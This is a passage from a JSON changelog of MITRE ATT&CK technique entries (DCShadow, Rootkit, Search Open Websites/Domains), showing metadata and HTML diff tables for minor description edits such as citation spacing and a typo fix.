nowrap=\"nowrap\">)&nbsp;and/or&nbsp;manipulate&nbsp;AD&nbsp;objects&nbsp;(such&nbsp;as&nbsp;accounts,&nbsp;access&nbsp;con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd/or&nbsp;manipulate&nbsp;AD&nbsp;objects&nbsp;(such&nbsp;as&nbsp;accounts,&nbsp;access&nbsp;contro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trol&nbsp;lists,&nbsp;schemas)&nbsp;to&nbsp;establish&nbsp;backdoors&nbsp;for&nbsp;Persistence.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;lists,&nbsp;schemas)&nbsp;to&nbsp;establish&nbsp;backdoors&nbsp;for&nbsp;Persistence.(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;DCShadow&nbsp;Blog)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;DCShadow&nbsp;Blog)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0276: Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:30:26.496000+00:00",
                    "modified": "2026-11-04 00:13:56.835000+00:00",
                    "name": "Rootkit",
                    "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.(Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001).(Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems.(Citation: CrowdStrike Linux Rootkit)(Citation: BlackHat Mac OSX Rootkit)\n\nRootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1014",
                            "external_id": "T1014"
                        },
                        {
                            "source_name": "CrowdStrike Linux Rootkit",
                            "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                            "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                        },
                        {
                            "source_name": "BlackHat Mac OSX Rootkit",
                            "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
                            "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
                        },
                        {
                            "source_name": "Symantec Windows Rootkits",
                            "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                            "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
                        },
                        {
                            "source_name": "Wikipedia Rootkit",
                            "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                            "url": "https://en.wikipedia.org/wiki/Rootkit"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Menachem Goldstein"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:13:56.835000+00:00\", \"old_value\": \"2026-05-12 15:12:00.620000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.(Citation: Symantec Windows Rootkits) \\n\\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001).(Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems.(Citation: CrowdStrike Linux Rootkit)(Citation: BlackHat Mac OSX Rootkit)\\n\\nRootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.\", \"old_value\": \"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \\n\\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\\n\\nRootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \\n+Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.(Citation: Symantec Windows Rootkits) \\n \\n-Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\\n+Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001).(Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems.(Citation: CrowdStrike Linux Rootkit)(Citation: BlackHat Mac OSX Rootkit)\\n \\n Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to83__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to83__0\"><a href=\"#difflib_chg_to83__top\">t</a></td><td class=\"diff_header\" id=\"from83_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;rootkits&nbsp;to&nbsp;hide&nbsp;the&nbsp;presence&nbsp;of&nbsp;program</td><td class=\"diff_next\"><a href=\"#difflib_chg_to83__top\">t</a></td><td class=\"diff_header\" id=\"to83_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;rootkits&nbsp;to&nbsp;hide&nbsp;the&nbsp;presence&nbsp;of&nbsp;program</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;files,&nbsp;network&nbsp;connections,&nbsp;services,&nbsp;drivers,&nbsp;and&nbsp;other&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;files,&nbsp;network&nbsp;connections,&nbsp;services,&nbsp;drivers,&nbsp;and&nbsp;other&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">system&nbsp;components.&nbsp;Rootkits&nbsp;are&nbsp;programs&nbsp;that&nbsp;hide&nbsp;the&nbsp;exist</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">system&nbsp;components.&nbsp;Rootkits&nbsp;are&nbsp;programs&nbsp;that&nbsp;hide&nbsp;the&nbsp;exist</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ence&nbsp;of&nbsp;malware&nbsp;by&nbsp;intercepting/hooking&nbsp;and&nbsp;modifying&nbsp;operat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ence&nbsp;of&nbsp;malware&nbsp;by&nbsp;intercepting/hooking&nbsp;and&nbsp;modifying&nbsp;operat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;system&nbsp;API&nbsp;calls&nbsp;that&nbsp;supply&nbsp;system&nbsp;information.<span class=\"diff_sub\">&nbsp;</span>(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;system&nbsp;API&nbsp;calls&nbsp;that&nbsp;supply&nbsp;system&nbsp;information.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Symantec&nbsp;Windows&nbsp;Rootkits)&nbsp;&nbsp;&nbsp;Rootkits&nbsp;or&nbsp;rootkit&nbsp;enablin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Symantec&nbsp;Windows&nbsp;Rootkits)&nbsp;&nbsp;&nbsp;Rootkits&nbsp;or&nbsp;rootkit&nbsp;enabling</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;functionality&nbsp;may&nbsp;reside&nbsp;at&nbsp;the&nbsp;user&nbsp;or&nbsp;kernel&nbsp;level&nbsp;in&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;functionality&nbsp;may&nbsp;reside&nbsp;at&nbsp;the&nbsp;user&nbsp;or&nbsp;kernel&nbsp;level&nbsp;in&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;operating&nbsp;system&nbsp;or&nbsp;lower,&nbsp;to&nbsp;include&nbsp;a&nbsp;hypervisor&nbsp;or&nbsp;[Sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;operating&nbsp;system&nbsp;or&nbsp;lower,&nbsp;to&nbsp;include&nbsp;a&nbsp;hypervisor&nbsp;or&nbsp;[Syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tem&nbsp;Firmware](https://attack.mitre.org/techniques/T1542/001)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;Firmware](https://attack.mitre.org/techniques/T1542/001).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Wikipedia&nbsp;Rootkit)&nbsp;Rootkits&nbsp;have&nbsp;been&nbsp;seen&nbsp;for&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Wikipedia&nbsp;Rootkit)&nbsp;Rootkits&nbsp;have&nbsp;been&nbsp;seen&nbsp;for&nbsp;Wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Windows,&nbsp;Linux,&nbsp;and&nbsp;Mac&nbsp;OS&nbsp;X&nbsp;systems.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;CrowdStrike</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows,&nbsp;Linux,&nbsp;and&nbsp;Mac&nbsp;OS&nbsp;X&nbsp;systems.(Citation:&nbsp;CrowdStrike&nbsp;Li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Linux&nbsp;Rootkit)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;BlackHat&nbsp;Mac&nbsp;OSX&nbsp;Rootkit)&nbsp;&nbsp;Rootki</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nux&nbsp;Rootkit)(Citation:&nbsp;BlackHat&nbsp;Mac&nbsp;OSX&nbsp;Rootkit)&nbsp;&nbsp;Rootkits&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;that&nbsp;reside&nbsp;or&nbsp;modify&nbsp;boot&nbsp;sectors&nbsp;are&nbsp;known&nbsp;as&nbsp;[Bootkit]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;reside&nbsp;or&nbsp;modify&nbsp;boot&nbsp;sectors&nbsp;are&nbsp;known&nbsp;as&nbsp;[Bootkit](htt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1542/003)s&nbsp;and&nbsp;specifi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1542/003)s&nbsp;and&nbsp;specificall</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cally&nbsp;target&nbsp;the&nbsp;boot&nbsp;process&nbsp;of&nbsp;the&nbsp;operating&nbsp;system.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;target&nbsp;the&nbsp;boot&nbsp;process&nbsp;of&nbsp;the&nbsp;operating&nbsp;system.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0377: Detection of Kernel/User-Level Rootkit Behavior Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-02 16:48:04.509000+00:00",
                    "modified": "2026-11-04 00:07:31.729000+00:00",
                    "name": "Search Open Websites/Domains",
                    "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, news sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1593",
                            "external_id": "T1593"
                        },
                        {
                            "source_name": "SecurityTrails Google Hacking",
                            "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
                            "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
                        },
                        {
                            "source_name": "Cyware Social Media",
                            "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
                            "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
                        },
                        {
                            "source_name": "ExploitDB GoogleHacking",
                            "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
                            "url": "https://www.exploit-db.com/google-hacking-database"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:07:31.729000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, news sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n\\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"old_value\": \"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n\\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n+Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, news sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n \\n Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to60__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to60__0\"><a href=\"#difflib_chg_to60__top\">t</a></td><td class=\"diff_header\" id=\"from60_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;freely&nbsp;available&nbsp;websites&nbsp;and/or&nbsp;doma</td><td class=\"diff_next\"><a href=\"#difflib_chg_to60__top\">t</a></td><td class=\"diff_header\" id=\"to60_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;freely&nbsp;available&nbsp;websites&nbsp;and/or&nbsp;doma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ins&nbsp;for&nbsp;information&nbsp;about&nbsp;victims&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;ta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ins&nbsp;for&nbsp;information&nbsp;about&nbsp;victims&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;ta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rgeting.&nbsp;Information&nbsp;about&nbsp;victims&nbsp;may&nbsp;be&nbsp;available&nbsp;in&nbsp;vario</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rgeting.&nbsp;Information&nbsp;about&nbsp;victims&nbsp;may&nbsp;be&nbsp;available&nbsp;in&nbsp;vario</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">us&nbsp;online&nbsp;sites,&nbsp;such&nbsp;as&nbsp;social&nbsp;media,&nbsp;new&nbsp;sites,&nbsp;or&nbsp;those&nbsp;h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">us&nbsp;online&nbsp;sites,&nbsp;such&nbsp;as&nbsp;social&nbsp;media,&nbsp;new<span class=\"diff_add\">s</span>&nbsp;sites,&nbsp;or&nbsp;those&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">osting&nbsp;information&nbsp;about&nbsp;business&nbsp;operations&nbsp;such&nbsp;as&nbsp;hiring&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hosting&nbsp;information&nbsp;about&nbsp;business&nbsp;operations&nbsp;such&nbsp;as&nbsp;hiring</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;requested/rewarded&nbsp;contracts.(Citation:&nbsp;Cyware&nbsp;Social&nbsp;Med</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;requested/rewarded&nbsp;contracts.(Citation:&nbsp;Cyware&nbsp;Social&nbsp;Me</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ia)(Citation:&nbsp;SecurityTrails&nbsp;Google&nbsp;Hacking)(Citation:&nbsp;Explo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dia)(Citation:&nbsp;SecurityTrails&nbsp;Google&nbsp;Hacking)(Citation:&nbsp;Expl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itDB&nbsp;GoogleHacking)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;search&nbsp;in&nbsp;different&nbsp;onl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oitDB&nbsp;GoogleHacking)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;search&nbsp;in&nbsp;different&nbsp;on</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ine&nbsp;sites&nbsp;depending&nbsp;on&nbsp;what&nbsp;information&nbsp;they&nbsp;seek&nbsp;to&nbsp;gather.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">line&nbsp;sites&nbsp;depending&nbsp;on&nbsp;what&nbsp;information&nbsp;they&nbsp;seek&nbsp;to&nbsp;gather</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Information&nbsp;from&nbsp;these&nbsp;sources&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;Information&nbsp;from&nbsp;these&nbsp;sources&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[Phishing&nbsp;for&nbsp;Informatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[Phishing&nbsp;for&nbsp;Informati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n](https://attack.mitre.org/techniques/T1598)&nbsp;or&nbsp;[Search&nbsp;Ope</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on](https://attack.mitre.org/techniques/T1598)&nbsp;or&nbsp;[Search&nbsp;Op</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Technical&nbsp;Databases](https://attack.mitre.org/techniques/T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;Technical&nbsp;Databases](https://attack.mitre.org/techniques/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1596)),&nbsp;establishing&nbsp;operational&nbsp;resources&nbsp;(ex:&nbsp;[Establish&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1596)),&nbsp;establishing&nbsp;operational&nbsp;resources&nbsp;(ex:&nbsp;[Establish&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccounts](https://attack.mitre.org/techniques/T1585)&nbsp;or&nbsp;[Comp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Accounts](https://attack.mitre.org/techniques/T1585)&nbsp;or&nbsp;[Com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">romise&nbsp;Accounts](https://attack.mitre.org/techniques/T1586))</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">promise&nbsp;Accounts](https://attack.mitre.org/techniques/T1586)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[External&nbsp;Remote&nbsp;Services](http</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[External&nbsp;Remote&nbsp;Services](htt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1133)&nbsp;or&nbsp;[Phishing](https:/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1133)&nbsp;or&nbsp;[Phishing](https:</td></tr>\n            